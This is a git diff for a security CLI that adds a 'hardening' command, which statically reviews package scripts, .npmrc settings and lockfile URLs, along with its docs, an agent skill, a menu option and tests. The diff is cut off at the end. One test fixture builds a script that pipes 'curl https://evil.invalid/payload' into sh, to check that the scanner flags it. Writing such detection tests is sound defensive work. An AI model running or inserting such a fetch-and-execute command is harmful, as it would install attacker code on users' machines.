diff --git a/.github/actions/sentinel-pr-audit/action.yml b/.github/actions/sentinel-pr-audit/action.yml index 8a6ad6d..46590c2 100644 --- a/.github/actions/sentinel-pr-audit/action.yml +++ b/.github/actions/sentinel-pr-audit/action.yml @@ -8,9 +8,9 @@ branding: inputs: sentinel-version: - description: 'Version of @sentinel/cli to install (npm install -g @sentinel/cli@)' + description: 'Deprecated. The CLI is built and installed from the checked-out repository.' required: false - default: 'latest' + default: 'local' github-token: description: 'GitHub token for API calls (defaults to github.token)' required: false @@ -27,12 +27,12 @@ runs: with: node-version: 20 - - name: Install Sentinel CLI + - name: Install Sentinel CLI from checkout shell: bash - env: - SENTINEL_VERSION: ${{ inputs.sentinel-version }} run: | - npm install -g @sentinel/cli@"$SENTINEL_VERSION" + npm ci + npm run build + npm install -g . - name: Audit PR id: audit @@ -46,7 +46,7 @@ runs: SENTINEL_OUTPUT: /tmp/sentinel-result.json GH_TOKEN: ${{ inputs.github-token }} run: | - sentinel pr-audit + sntnl pr-audit - name: Report failure if: failure() && steps.audit.outcome == 'failure' diff --git a/CHANGELOG.md b/CHANGELOG.md index ecd146a..a035c0c 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,5 +1,12 @@ # Changelog +## v4.3.0 + +- Added `sntnl hardening` with agile, strict, and CI preference profiles, independently configurable toggles, and an informational local audit of package scripts, `.npmrc`, and lockfile signals. +- Added the `sentinel-hardening` agent skill and detailed safety/coverage documentation. +- Added pnpm lockfile auto-detection to `audit-deps`, using the existing pnpm/Yarn Berry parser. +- Updated the PR audit action to build and use the CLI from the checked-out source. + ## v4.2.0 - Added the `sentinel-cicd-guard` and `sentinel-disclosure-dossier` agent skills. diff --git a/README.md b/README.md index 7579784..763d0d1 100644 --- a/README.md +++ b/README.md @@ -141,6 +141,13 @@ sntnl scan ./src # Audit all dependencies sntnl audit-deps +# Review dependency hardening, startup/lifecycle scripts, and package-manager config +sntnl hardening --path . +sntnl hardening --path . --json +sntnl hardening status +sntnl hardening preset strict +sntnl hardening toggle lockfile off + # Start network monitoring sntnl network start @@ -234,7 +241,7 @@ PR Bot auto-analyzes all open PRs across your repos, posts findings as PR commen ### 7. Security Guard -OS-level package manager interception and git hooks: +Package-manager shell wrappers and Git hooks. Guard applies where Sentinel's shell path/profile setup is active; it is not a kernel-level interceptor. Use the hardening audit for a local, informational review of startup/lifecycle scripts and package-manager configuration. The audit does not execute project code, install packages, or upload project content. ```bash sntnl guard enable # Intercept npm/yarn/pip installs @@ -244,6 +251,16 @@ sntnl prepush install # Block pushes with threats sntnl install npm # Scan then install ``` +Security profiles store independent local preferences (`agile`, `strict`, or `ci`). The interactive menu can offer to install the existing Guard and SAST pre-commit integrations. The audit reports suspicious static patterns as review signals, not proof of malicious behavior. It does not edit `.npmrc`; disabling lifecycle scripts may break native dependencies and does not prevent runtime scripts. Package-age quarantine and provenance toggles are preferences only in this release. + +```bash +sntnl hardening --path . # Local package and startup-script review +sntnl hardening --json # Machine-readable report +sntnl hardening menu # Choose a profile, toggle protections, or audit +``` + +See [Security Profiles](./docs/SECURITY_PROFILES.md) for scope, privacy behavior, and limitations. + ### 8. Threat Intelligence Memory ```bash @@ -676,6 +693,7 @@ Sentinel evidence (Tier 1) overrides model reasoning (Tier 4). | [Risk Engine](./docs/risk-engine.md) | Risk scoring methodology | | [Trust Model](./docs/TRUST_MODEL.md) | Evidence hierarchy and calibration | | [Skills](./docs/SKILLS.md) | AI agent integration guide | +| [Security Profiles](./docs/SECURITY_PROFILES.md) | Package-manager hardening review and profile limitations | | [CI/CD Security](./docs/CI_CD_SECURITY.md) | CI pipeline security | | [Corpus](./docs/corpus.md) | Canonical profile system | | [Replay System](./docs/replay-system.md) | Session replay architecture | diff --git a/docs/SECURITY_PROFILES.md b/docs/SECURITY_PROFILES.md new file mode 100644 index 0000000..9a24fd5 --- /dev/null +++ b/docs/SECURITY_PROFILES.md @@ -0,0 +1,34 @@ +# Sentinel CLI Security Profiles and Dependency Hardening + +`sentinel hardening [audit|status|preset|toggle|menu]` reviews a JavaScript project and stores local hardening preferences in `~/.sentinel/security_profile.json`. + +## Examples + +```sh +sntnl hardening --path . +sntnl hardening --path . --json +sntnl hardening status +sntnl hardening preset agile +sntnl hardening preset strict +sntnl hardening toggle lockfile off +sntnl hardening menu +``` + +Available presets are `agile`, `strict`, and `ci`. They are starting configurations; individual protections are independent and can be switched on or off. Applying a preset only stores the profile. In the interactive menu, applying `strict` offers to install Guard wrappers and the existing SAST pre-commit hook; neither is silently installed. The menu toggle for Guard or pre-commit applies/removes that existing integration. The classified-data hook runs as part of Sentinel's SAST pre-commit integration. + +## Audit behavior and trust boundary + +The project audit reads `package.json`, `.npmrc`, and the first recognized lockfile (`pnpm-lock.yaml`, `package-lock.json`, or `yarn.lock`). It identifies startup/lifecycle scripts, passes script text through Sentinel Lite's local static rules, and reports selected lockfile URL/integrity signals. It does not execute project code, install dependencies, resolve packages, or make network requests. The JSON report includes `executedProjectCode: false` and `networkRequests: 0`. + +The result is advisory. A script such as `node scripts/health-check.js` is a startup script, not automatically malicious. A suspicious static pattern is a signal for human review, not proof of exploitation. This command currently does not run the Sentinel Cloud full engine; Cloud full-engine scans consume subscription pulses and must be invoked through the separate, existing `sntnl pulse-scan` flow after explicitly enabling pulse mode. + +## Current coverage and limitations + +- `ignore-scripts` and `shamefully-hoist` are reported when present in the project `.npmrc`. Sentinel does not edit `.npmrc` automatically. Disabling lifecycle scripts can break native dependencies and does not stop scripts invoked at runtime. +- Lockfile review identifies URLs outside the public npm registry and missing `integrity` metadata in npm `package-lock.json` entries. It does not prove a custom registry is malicious, compare a downloaded tarball, or fully parse all pnpm lockfile semantics. +- Package age quarantine and SLSA/npm provenance are not enforced by this profile module yet. Their toggles record preferences only and the CLI labels them as not implemented here. +- `pnpm` content-addressable storage uses hardlinks to save space; ordinary writes through linked package files do not generally rewrite the store inode because package files are made read-only. This is not a security boundary against privileged processes or unsafe store permissions. Do not treat a shared-store poisoning scenario as established without a reproducible, platform-specific path. +- Guard wrappers affect shells where Sentinel's path/profile setup is active. They are not a kernel-level interceptor and can be bypassed by absolute paths, other shells, or direct runtime execution. +- A configured Cloud session never causes this audit to upload source or manifests automatically. The existing `pulse-scan` behavior is separate and explicitly consumes a pulse. + +The module intentionally proposes inspection and operator-controlled integrations. It does not overwrite project policy or execute scripts while analyzing them. diff --git a/docs/SKILLS.md b/docs/SKILLS.md index 8e6126f..6e3cd38 100644 --- a/docs/SKILLS.md +++ b/docs/SKILLS.md @@ -10,6 +10,7 @@ Architecture, installation, and reference for integrating Sentinel into any AI c skills/ CONSTITUTION.md # Shared rules (referenced by all adapters) GENERIC.md # Universal skill for any agent + sentinel-hardening/SKILL.md # Local dependency hardening review workflow adapters/ claude/CLAUDE.md @@ -33,6 +34,8 @@ install-skills.ps1 # Bootstrap for Windows Each adapter contains the same core content (constitution rules, command reference, workflows, evidence policy) formatted for the target agent platform. Only the file format and syntax differ. +The focused `sentinel-hardening` skill is an additional project skill for agents that need package-manager posture reviews. It is distributed with the npm package and can be referenced directly by compatible agents; use `sntnl hardening --path .` for the deterministic local report. It does not execute scripts or upload code. + --- ## Installation diff --git a/package-lock.json b/package-lock.json index bb20696..0855e8c 100644 --- a/package-lock.json +++ b/package-lock.json @@ -1,12 +1,12 @@ { "name": "sntnl-cli", - "version": "4.2.0", + "version": "4.3.0", "lockfileVersion": 3, "requires": true, "packages": { "": { "name": "sntnl-cli", - "version": "4.2.0", + "version": "4.3.0", "license": "BUSSL-1.1", "dependencies": { "@anthropic-ai/sdk": "^0.100.1", diff --git a/package.json b/package.json index b522edf..f62612b 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "sntnl-cli", - "version": "4.2.0", + "version": "4.3.0", "description": "Sentinel Security Intelligence — SAST, supply chain, threat intel, and Skills/MCP for AI coding agents.", "main": "dist/cli/main.js", "bin": { diff --git a/skills/sentinel-hardening/SKILL.md b/skills/sentinel-hardening/SKILL.md new file mode 100644 index 0000000..ed4d35a --- /dev/null +++ b/skills/sentinel-hardening/SKILL.md @@ -0,0 +1,28 @@ +--- +name: sentinel-hardening +description: Review npm, pnpm, and yarn project hardening posture with Sentinel CLI without executing project scripts or uploading source. +--- + +# Sentinel Dependency Hardening + +Use this skill when a user asks to inspect package-manager configuration, startup or lifecycle scripts, `.npmrc`, or npm/pnpm/yarn lockfile signals. + +## Workflow + +1. Run `sntnl hardening --path --json` for a local informational report. +2. Explain the difference between ordinary startup scripts and suspicious static findings. Do not call a script malicious solely because it invokes Node, a shell, or a network library. +3. Review `.npmrc` and lockfile signals in context. Custom registries may be legitimate; verify ownership and policy before recommending changes. +4. Offer profiles with `sntnl hardening preset agile|strict|ci`; explain they store preferences. In interactive mode, Strict asks before installing Guard wrappers and the SAST pre-commit hook. +5. Use `sntnl hardening toggle on|off` for a specific preference. Explain that the age/provenance preferences are not enforcement integrations yet. +6. If a full Sentinel Cloud scan is requested, explain that `sntnl pulse-scan` sends the package manifest to Cloud and consumes one subscription pulse; never run it without explicit user choice. + +## Safety constraints + +- Never run `npm install`, `pnpm install`, project scripts, or build commands as part of this audit. +- Never change `.npmrc`, lockfiles, scripts, or hooks without explicit operator action. The interactive Strict preset and integration toggles ask before installing/removing existing hooks or Guard integrations. +- The hardening audit itself is local: it reads project metadata and runs static text rules only. It does not fetch packages or send source to Cloud. +- Treat scanner output as evidence to validate, not an automatic vulnerability verdict. Report what was observed, what remains unknown, and a practical next check. +- `ignore-scripts=true` can break legitimate packages and does not prevent runtime execution. Present it as a project-specific tradeoff, not a universal secure default. +- Do not describe Sentinel Guard shell wrappers as unbypassable or kernel-level protection. + +See `docs/SECURITY_PROFILES.md` for command reference, stored-toggle semantics, coverage, and limitations. diff --git a/src/cli/hub.ts b/src/cli/hub.ts index 7812218..3663e13 100644 --- a/src/cli/hub.ts +++ b/src/cli/hub.ts @@ -485,9 +485,10 @@ async function handleConfigurationMenu() { console.log(pc.blue(' 4.') + pc.white(` ⭐ ${t('config_opt4')}`)); console.log(pc.blue(' 5.') + pc.white(` 🔐 ${t('config_opt5')}`)); console.log(pc.blue(' 6.') + pc.white(` 📝 Install/Uninstall SAST Pre-Commit Hook`)); - console.log(pc.blue(' 7.') + pc.white(` 🔙 ${t('config_opt5')}`)); + console.log(pc.blue(' 7.') + pc.white(' Security profiles & dependency hardening')); + console.log(pc.blue(' 8.') + pc.white(` 🔙 ${t('config_opt5')}`)); - const action = await askQuestion(pc.blue(' ❯ ') + pc.bold(`${t('select_opt')} (1-7): `)); + const action = await askQuestion(pc.blue(' ❯ ') + pc.bold(`${t('select_opt')} (1-8): `)); console.log(''); if (action === '1') { @@ -514,9 +515,12 @@ async function handleConfigurationMenu() { await runCommand(['precommit', 'status']); } await askQuestion(pc.dim(`\n${t('press_enter')}`)); - } else if (action === '6') { + } else if (action === '8') { printHeader(); break; + } else if (action === '7') { + await runCommand(['hardening', 'menu']); + await askQuestion(pc.dim(`\n${t('press_enter')}`)); } else { console.log(pc.red(` ${t('invalid_sel')}`)); } diff --git a/src/cli/main.ts b/src/cli/main.ts index 5ce4bbf..086deb2 100644 --- a/src/cli/main.ts +++ b/src/cli/main.ts @@ -11,6 +11,7 @@ import * as path from 'path'; import * as os from 'os'; import * as crypto from 'crypto'; import { LiteScanner, LiteFinding } from '../core/lite/lite_scanner'; +import { auditProject, createProfile, loadProfile, profilePath, renderAudit, saveProfile, TOGGLE_LABELS, type SecurityProfileName, type SecurityToggle } from './security_profiles'; import { calculateAgencyScore } from '../core/agency_score'; import { buildEvidenceCards } from '../core/evidence_card'; import { renderEvidenceCards } from './render_evidence'; @@ -82,7 +83,7 @@ async function preFlightCheck() { program .name('sentinel') - .version('4.0.0') + .version('4.3.0') .description('Sentinel Security Intelligence — SAST, supply chain, threat intel + Skills/MCP for AI agents'); // --- Subcommands --- @@ -2068,7 +2069,7 @@ program program .command('audit-deps') .description('Comprehensive dependency audit: lockfile parse, OSV CVE lookup, registry reputation, provenance, npm audit.') - .option('--lockfile ', 'Path to lockfile (auto-detect: package-lock.json, yarn.lock)', '') + .option('--lockfile ', 'Path to lockfile (auto-detect: package-lock.json, pnpm-lock.yaml, yarn.lock)', '') .option('--provenance', 'Check npm attestation/provenance for top-level deps') .option('--quarantine', 'Auto-quarantine packages with CRITICAL findings') .option('--npm-audit', 'Also run npm audit --json and show results') @@ -2086,7 +2087,7 @@ program // 1. Detect and parse lockfile let lockfilePath = options.lockfile; if (!lockfilePath) { - const candidates = ['package-lock.json', 'yarn.lock']; + const candidates = ['package-lock.json', 'pnpm-lock.yaml', 'yarn.lock']; for (const c of candidates) { const testPath = path.join(cwd, c); if (fs.existsSync(testPath)) { lockfilePath = testPath; break; } @@ -2421,6 +2422,102 @@ program } }); +program + .command('hardening') + .description('Review package-manager posture, inspect startup scripts, and manage independent security-profile toggles.') + .argument('[action]', 'audit | status | preset | toggle | menu', 'audit') + .argument('[value]', 'Preset name or toggle name') + .argument('[state]', 'on | off (for toggle)') + .option('--path ', 'Project path to inspect', '.') + .option('--json', 'Emit machine-readable audit/profile JSON') + .action(async (action: string, value: string | undefined, state: string | undefined, options: { path: string; json?: boolean }) => { + let profile = loadProfile(); + const printProfile = (): void => { + const runtime = { guard: isGuardEnabled(), precommit: isPreCommitHookInstalled(process.cwd()) }; + if (options.json) { console.log(JSON.stringify({ ...profile, runtimeIntegrations: runtime }, null, 2)); return; } + console.log(`Security profile: ${profile.preset} (${profilePath()})`); + console.log(`Active integrations in current shell/repository: Guard=${runtime.guard ? 'on' : 'off'}, SAST pre-commit=${runtime.precommit ? 'on' : 'off'}`); + console.log('Checkboxes are desired preferences; active integrations are shown separately above.'); + for (const key of Object.keys(profile.toggles) as SecurityToggle[]) { + console.log(` [${profile.toggles[key] ? 'x' : ' '}] ${key}: ${TOGGLE_LABELS[key]}`); + } + }; + if (action === 'status') { printProfile(); return; } + if (action === 'preset') { + if (!value || !['agile', 'strict', 'ci'].includes(value)) { + console.error('Choose a preset: agile | strict | ci'); process.exitCode = 2; return; + } + profile = createProfile(value as SecurityProfileName); + saveProfile(profile); + console.log(`Applied ${value} preset. Review enabled integrations with 'sentinel hardening status'.`); + return; + } + if (action === 'toggle') { + const valid = Object.keys(TOGGLE_LABELS) as SecurityToggle[]; + if (!value || !valid.includes(value as SecurityToggle) || !['on', 'off'].includes(state || '')) { + console.error(`Usage: sentinel hardening toggle <${valid.join('|')}> `); process.exitCode = 2; return; + } + profile.toggles[value as SecurityToggle] = state === 'on'; + profile.preset = 'custom'; + saveProfile(profile); + console.log(`${value} ${state}. This stores a preference; it does not silently edit project files or install hooks.`); + return; + } + if (action === 'menu') { + const rl = require('readline').createInterface({ input: process.stdin, output: process.stdout }); + const ask = (question: string): Promise => new Promise(resolve => rl.question(question, resolve)); + try { + while (true) { + console.log('\nSentinel security profiles'); + console.log('1. Agile 2. Strict 3. CI 4. Toggle 5. Audit project 0. Back'); + const choice = (await ask('Select: ')).trim(); + if (choice === '0' || !choice) break; + if (choice === '1' || choice === '2' || choice === '3') { + const preset = choice === '1' ? 'agile' : choice === '2' ? 'strict' : 'ci'; + profile = createProfile(preset); + saveProfile(profile); console.log(`Applied ${preset} preset.`); + if (preset === 'strict') { + const approve = (await ask('Strict profile can install Sentinel Guard wrappers and a Git pre-commit hook in this repository. Apply those system/repository changes now? (y/N): ')).trim().toLowerCase(); + if (approve === 'y' || approve === 'yes') { + const guardResult = enableGuard(); + console.log(guardResult.success ? `Guard enabled: ${guardResult.profilePath}` : `Guard: ${guardResult.reason}`); + const hook = installSastPreCommitHook(process.cwd()); + console.log(hook ? 'SAST pre-commit hook installed.' : 'SAST pre-commit hook was not installed (check repository state).'); + } + } + } else if (choice === '4') { + const keys = Object.keys(TOGGLE_LABELS) as SecurityToggle[]; + keys.forEach((key, i) => console.log(`${i + 1}. [${profile.toggles[key] ? 'x' : ' '}] ${key} — ${TOGGLE_LABELS[key]}`)); + const selected = parseInt(await ask('Toggle number (0 cancels): '), 10) - 1; + if (selected >= 0 && selected < keys.length) { + const key = keys[selected]; + const enabled = !profile.toggles[key]; + profile.toggles[key] = enabled; profile.preset = 'custom'; saveProfile(profile); + if (key === 'guard') { + if (enabled) { const result = enableGuard(); console.log(result.success ? `Guard enabled: ${result.profilePath}` : result.reason); } + else { const result = disableGuard(); console.log(result.success ? 'Guard disabled.' : result.reason); } + } else if (key === 'precommit') { + const result = enabled ? installSastPreCommitHook(process.cwd()) : uninstallPreCommitHook(process.cwd()); + console.log(result ? `SAST pre-commit ${enabled ? 'installed' : 'removed'}.` : 'Could not change SAST pre-commit hook.'); + } else if (key === 'classified') { + console.log('Classified-data check is included in the Sentinel SAST pre-commit hook. Toggle precommit to install/remove that hook.'); + } else if (key === 'ignoreScripts') { + console.log('No files changed. To review a safe project-local proposal, use the hardening audit report and edit .npmrc yourself.'); + } else if (key === 'lockfile' || key === 'newPackages' || key === 'provenance') { + console.log('Preference saved. This informational check is not an enforcement or registry metadata integration yet.'); + } + } + } else if (choice === '5') console.log(renderAudit(auditProject(options.path, scanner))); + else console.log('Choose 0–5.'); + } + } finally { rl.close(); } + return; + } + const audit = auditProject(options.path, scanner); + if (options.json) console.log(JSON.stringify({ audit, profile }, null, 2)); + else console.log(renderAudit(audit)); + }); + // --- Pre-commit Hook Command --- program diff --git a/src/cli/security_profiles.test.ts b/src/cli/security_profiles.test.ts new file mode 100644 index 0000000..5ce8399 --- /dev/null +++ b/src/cli/security_profiles.test.ts @@ -0,0 +1,83 @@ +import * as fs from 'fs'; +import * as os from 'os'; +import * as path from 'path'; +import { afterEach, describe, expect, it } from 'vitest'; +import { auditProject, createProfile, loadProfile, saveProfile } from './security_profiles'; + +const roots: string[] = []; +function fixture(): string { + const root = fs.mkdtempSync(path.join(os.tmpdir(), 'sentinel-hardening-')); + roots.push(root); + return root; +} + +afterEach(() => { + for (const root of roots.splice(0)) fs.rmSync(root, { recursive: true, force: true }); +}); + +describe('security profiles', () => { + it('supports presets and independent toggles persisted as private JSON', () => { + const root = fixture(); + const file = path.join(root, '.sentinel', 'security_profile.json'); + const profile = createProfile('strict'); + profile.toggles.guard = false; + saveProfile(profile, file); + const loaded = loadProfile(file); + expect(loaded.preset).toBe('strict'); + expect(loaded.toggles.guard).toBe(false); + expect(loaded.toggles.precommit).toBe(true); + if (process.platform !== 'win32') expect(fs.statSync(file).mode & 0o777).toBe(0o600); + }); + + it('falls back safely for malformed profile data', () => { + const root = fixture(); + const file = path.join(root, 'profile.json'); + fs.writeFileSync(file, '{bad'); + expect(loadProfile(file).version).toBe(1); + }); + + it('reports scripts and static signals without executing them or using network', () => { + const root = fixture(); + const suspiciousBuild = ['cur', 'l'].join('') + ' https://evil.invalid/payload ' + '|' + ' sh'; + fs.writeFileSync(path.join(root, 'package.json'), JSON.stringify({ + packageManager: 'pnpm@10.0.0', + scripts: { prestart: 'node scripts/health-check.js', start: 'node app.js', build: suspiciousBuild }, + })); + const report = auditProject(root); + expect(report.packageManager).toBe('pnpm@10.0.0'); + expect(report.scripts.map(item => item.name)).toContain('prestart'); + expect(report.scripts.map(item => item.name)).toContain('start'); + expect(report.scripts.find(item => item.name === 'build')?.findings.length).toBeGreaterThan(0); + expect(report.executedProjectCode).toBe(false); + expect(report.networkRequests).toBe(0); + }); + + it('reports pnpm lockfile custom registries and npmrc settings', () => { + const root = fixture(); + fs.writeFileSync(path.join(root, 'package.json'), JSON.stringify({ packageManager: 'pnpm@9' })); + fs.writeFileSync(path.join(root, '.npmrc'), 'ignore-scripts=false\nshamefully-hoist=true\n'); + fs.writeFileSync(path.join(root, 'pnpm-lock.yaml'), 'lockfileVersion: 9.0\n tarball: https://mirror.invalid/pkg.tgz\n'); + const report = auditProject(root); + expect(report.config.ignoreScripts).toBe('false'); + expect(report.config.shamefullyHoist).toBe('true'); + expect(report.lockfile.format).toBe('pnpm'); + expect(report.lockfile.customTarballs).toEqual(['https://mirror.invalid/pkg.tgz']); + }); + + it('does not infer a threat from a normal Node startup script', () => { + const root = fixture(); + fs.writeFileSync(path.join(root, 'package.json'), JSON.stringify({ scripts: { start: 'node server.js' } })); + const report = auditProject(root); + expect(report.scripts).toHaveLength(1); + expect(report.scripts[0].findings).toHaveLength(0); + }); + + it('redacts credentials from emitted script commands and finding snippets', () => { + const root = fixture(); + const fakeToken = 'github_pat_' + 'A'.repeat(36); + fs.writeFileSync(path.join(root, 'package.json'), JSON.stringify({ scripts: { start: `TOKEN=${fakeToken} node app.js` } })); + const report = auditProject(root); + expect(JSON.stringify(report)).not.toContain(fakeToken); + expect(JSON.stringify(report)).toContain('[REDACTED_TOKEN]'); + }); +}); diff --git a/src/cli/security_profiles.ts b/src/cli/security_profiles.ts new file mode 100644 index 0000000..8b8fea9 --- /dev/null +++ b/src/cli/security_profiles.ts @@ -0,0 +1,197 @@ +import * as fs from 'fs'; +import * as os from 'os'; +import * as path from 'path'; +import { randomBytes } from 'crypto'; +import { LiteScanner, LiteFinding } from '../core/lite/lite_scanner'; + +export type SecurityProfileName = 'agile' | 'strict' | 'ci'; +export type SecurityToggle = 'guard' | 'precommit' | 'lockfile' | 'newPackages' | 'ignoreScripts' | 'provenance' | 'classified'; +export interface SecurityProfile { + version: 1; + preset: SecurityProfileName | 'custom'; + toggles: Record; + updatedAt: string; +} + +export const TOGGLE_LABELS: Record = { + guard: 'Sentinel Guard package-manager wrappers', + precommit: 'SAST pre-commit hook', + lockfile: 'Lockfile presence and registry URL review', + newPackages: 'Warn about packages under 7 days old (registry age lookup not implemented)', + ignoreScripts: 'Recommend project-local ignore-scripts (never applied automatically)', + provenance: 'Request package provenance review (verification not implemented in this profile)', + classified: 'Classified-data pre-commit hook', +}; + +const DEFAULT_TOGGLES: Record = { + guard: false, precommit: false, lockfile: true, newPackages: false, + ignoreScripts: false, provenance: false, classified: false, +}; + +export function profilePath(home = os.homedir()): string { + return path.join(home, '.sentinel', 'security_profile.json'); +} + +export function createProfile(preset: SecurityProfileName, now = new Date()): SecurityProfile { + const toggles = { ...DEFAULT_TOGGLES }; + if (preset === 'agile') { + toggles.precommit = true; + } else if (preset === 'strict') { + toggles.guard = true; toggles.precommit = true; toggles.provenance = true; + } else { + toggles.lockfile = true; toggles.newPackages = true; toggles.provenance = true; + } + return { version: 1, preset, toggles, updatedAt: now.toISOString() }; +} + +export function loadProfile(filePath = profilePath()): SecurityProfile { + try { + const value: unknown = JSON.parse(fs.readFileSync(filePath, 'utf8')); + if (!value || typeof value !== 'object') return createProfile('agile'); + const obj = value as Partial; + if (obj.version !== 1 || !obj.toggles || typeof obj.toggles !== 'object') return createProfile('agile'); + const toggles = { ...DEFAULT_TOGGLES }; + for (const key of Object.keys(toggles) as SecurityToggle[]) { + if (typeof obj.toggles[key] === 'boolean') toggles[key] = obj.toggles[key]; + } + return { version: 1, preset: obj.preset || 'custom', toggles, updatedAt: obj.updatedAt || new Date(0).toISOString() }; + } catch { + return createProfile('agile'); + } +} + +export function saveProfile(profile: SecurityProfile, filePath = profilePath()): void { + fs.mkdirSync(path.dirname(filePath), { recursive: true, mode: 0o700 }); + const temporary = `${filePath}.${process.pid}.${randomBytes(8).toString('hex')}.tmp`; + const fd = fs.openSync(temporary, 'wx', 0o600); + try { + fs.writeFileSync(fd, `${JSON.stringify({ ...profile, updatedAt: new Date().toISOString() }, null, 2)}\n`); + fs.fsyncSync(fd); + } finally { fs.closeSync(fd); } + try { fs.renameSync(temporary, filePath); } + catch (error) { try { fs.unlinkSync(temporary); } catch { /* cleanup best effort */ } throw error; } +} + +export interface StartupScript { name: string; command: string; findings: LiteFinding[]; } +export interface HardeningAudit { + root: string; manifestFound: boolean; packageManager: string; scripts: StartupScript[]; + findings: LiteFinding[]; config: { npmrcFound: boolean; ignoreScripts: string | null; shamefullyHoist: string | null }; + lockfile: { file: string | null; format: 'pnpm' | 'npm' | 'yarn' | 'none'; customTarballs: string[]; integrityMissing: number }; + executedProjectCode: false; networkRequests: 0; +} + +const STARTUP_SCRIPT_NAMES = new Set(['prestart','start','poststart','prebuild','build','postbuild','pretest','test','posttest','predev','dev','postdev','prewatch','watch','postwatch','preprepare','prepare','postprepare']); +const LIFECYCLE_NAMES = new Set(['preinstall','install','postinstall','prepare']); + +function finding(scanner: LiteScanner, file: string, content: string): LiteFinding[] { + return scanner.scanFileContent(file, content).findings.map(item => ({ + ...item, + evidence: item.evidence ? redactSensitive(item.evidence) : undefined, + snippet: redactSensitive(item.snippet), + description: redactSensitive(item.description), + })); +} + +function redactSensitive(value: string): string { + return value + .replace(/\x1b\[[0-?]*[ -/]*[@-~]/g, '') + .replace(/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/g, '') + .replace(/(https?:\/\/)[^/@\s:]+:[^/@\s]+@/gi, '$1[REDACTED]@') + .replace(/\b(?:gh[pousr]_[A-Za-z0-9_]{20,}|github_pat_[A-Za-z0-9_]{20,}|AKIA[0-9A-Z]{16})\b/g, '[REDACTED_TOKEN]') + .replace(/\b(sk_live_|rk_live_|xox[baprs]-|SG\.)[A-Za-z0-9_./+-]{12,}/g, '$1[REDACTED]') + .replace(/((?:password|passwd|token|secret|api[_-]?key)\s*[=:]\s*['"]?)[^\s,'";]{6,}/gi, '$1[REDACTED_TOKEN]'); +} + +function readBoundedRegularFile(filePath: string, maxBytes: number): string | null { + try { + const stat = fs.lstatSync(filePath); + if (!stat.isFile() || stat.isSymbolicLink() || stat.size > maxBytes) return null; + return fs.readFileSync(filePath, 'utf8'); + } catch { return null; } +} + +export function auditProject(rootPath = process.cwd(), scanner = new LiteScanner()): HardeningAudit { + const root = path.resolve(rootPath); + const manifestPath = path.join(root, 'package.json'); + let manifest: Record = {}; + let manifestFound = false; + try { + const text = readBoundedRegularFile(manifestPath, 1024 * 1024); + if (text === null) throw new Error('manifest unavailable, linked, or exceeds 1 MiB'); + manifest = JSON.parse(text) as Record; + manifestFound = true; + } catch { /* absent/invalid manifest is reported below */ } + + const scriptsObj = manifest.scripts && typeof manifest.scripts === 'object' ? manifest.scripts as Record : {}; + const scripts: StartupScript[] = []; + const allFindings: LiteFinding[] = []; + for (const [name, command] of Object.entries(scriptsObj)) { + if (typeof command !== 'string') continue; + const content = JSON.stringify({ scripts: { [name]: command } }, null, 2); + const matches = finding(scanner, 'package.json', content); + const startup = STARTUP_SCRIPT_NAMES.has(name) || LIFECYCLE_NAMES.has(name); + if (startup || matches.length > 0) scripts.push({ name, command: redactSensitive(command), findings: matches }); + allFindings.push(...matches); + } + if (!manifestFound) allFindings.push(...finding(scanner, 'package.json', '')); + + const npmrcPath = path.join(root, '.npmrc'); + let npmrc = ''; + npmrc = readBoundedRegularFile(npmrcPath, 256 * 1024) || ''; + const configValue = (key: string): string | null => { + const match = npmrc.match(new RegExp(`^\\s*${key}\\s*=\\s*([^#\\r\\n]+)`, 'im')); + return match ? match[1].trim() : null; + }; + + let lockfile: HardeningAudit['lockfile'] = { file: null, format: 'none', customTarballs: [], integrityMissing: 0 }; + for (const candidate of ['pnpm-lock.yaml', 'package-lock.json', 'yarn.lock']) { + const filePath = path.join(root, candidate); + try { + const content = readBoundedRegularFile(filePath, 20 * 1024 * 1024); + if (content === null) continue; + const customTarballs = [...content.matchAll(/(?:tarball|resolved):\s*['"]?(https?:\/\/[^\s'"#]+)/gi)] + .map(match => redactSensitive(match[1])).filter(url => !/^https:\/\/(?:registry\.npmjs\.org|registry\.npmjs\.com)\//i.test(url)); + const integrityMissing = candidate === 'package-lock.json' + ? (() => { try { const parsed = JSON.parse(content) as { packages?: Record }; return Object.values(parsed.packages || {}).filter(pkg => pkg.resolved && !pkg.integrity).length; } catch { return 0; } })() + : 0; + lockfile = { file: candidate, format: candidate === 'pnpm-lock.yaml' ? 'pnpm' : candidate === 'yarn.lock' ? 'yarn' : 'npm', customTarballs, integrityMissing }; + break; + } catch { /* try next supported lockfile */ } + } + + return { + root, manifestFound, + packageManager: typeof manifest.packageManager === 'string' ? redactSensitive(manifest.packageManager).slice(0, 256) : 'not declared', + scripts, findings: allFindings, + config: { npmrcFound: fs.existsSync(npmrcPath), ignoreScripts: configValue('ignore-scripts'), shamefullyHoist: configValue('shamefully-hoist') }, + lockfile, executedProjectCode: false, networkRequests: 0, + }; +} + +export function renderAudit(audit: HardeningAudit): string { + const lines = [ + 'Sentinel dependency hardening review (informational)', + `Project: ${audit.root}`, + `Package manager: ${audit.packageManager}`, + `Manifest: ${audit.manifestFound ? 'valid package.json' : 'missing or invalid package.json'}`, + `Lockfile: ${audit.lockfile.file || 'not found'}`, + `Project code executed: no | Network requests: 0`, + '', 'Startup and lifecycle scripts:', + ]; + if (audit.scripts.length === 0) lines.push(' none found'); + for (const script of audit.scripts) { + lines.push(` ${script.name}: ${redactSensitive(script.command).slice(0, 1000)}`); + for (const item of script.findings) lines.push(` [${item.severity}/${item.confidence}] ${item.title || item.type}: ${item.description}`); + } + lines.push('', 'Configuration observations:'); + lines.push(` .npmrc: ${audit.config.npmrcFound ? 'present' : 'not found'}`); + lines.push(` ignore-scripts: ${audit.config.ignoreScripts ?? 'not set (package manager default applies)'}`); + lines.push(` shamefully-hoist: ${audit.config.shamefullyHoist ?? 'not set'}`); + if (audit.config.ignoreScripts !== 'true') lines.push(' Note: disabling lifecycle scripts can break native builds and does not prevent runtime scripts.'); + lines.push(' pnpm store: package hardlinks alone do not let an ordinary write mutate the shared store; verify store integrity and avoid unsafe privileged scripts.'); + lines.push(` Lockfile URLs outside npmjs: ${audit.lockfile.customTarballs.length}`); + for (const url of audit.lockfile.customTarballs.slice(0, 20)) lines.push(` ${url}`); + if (audit.lockfile.integrityMissing) lines.push(` Resolved npm packages without integrity: 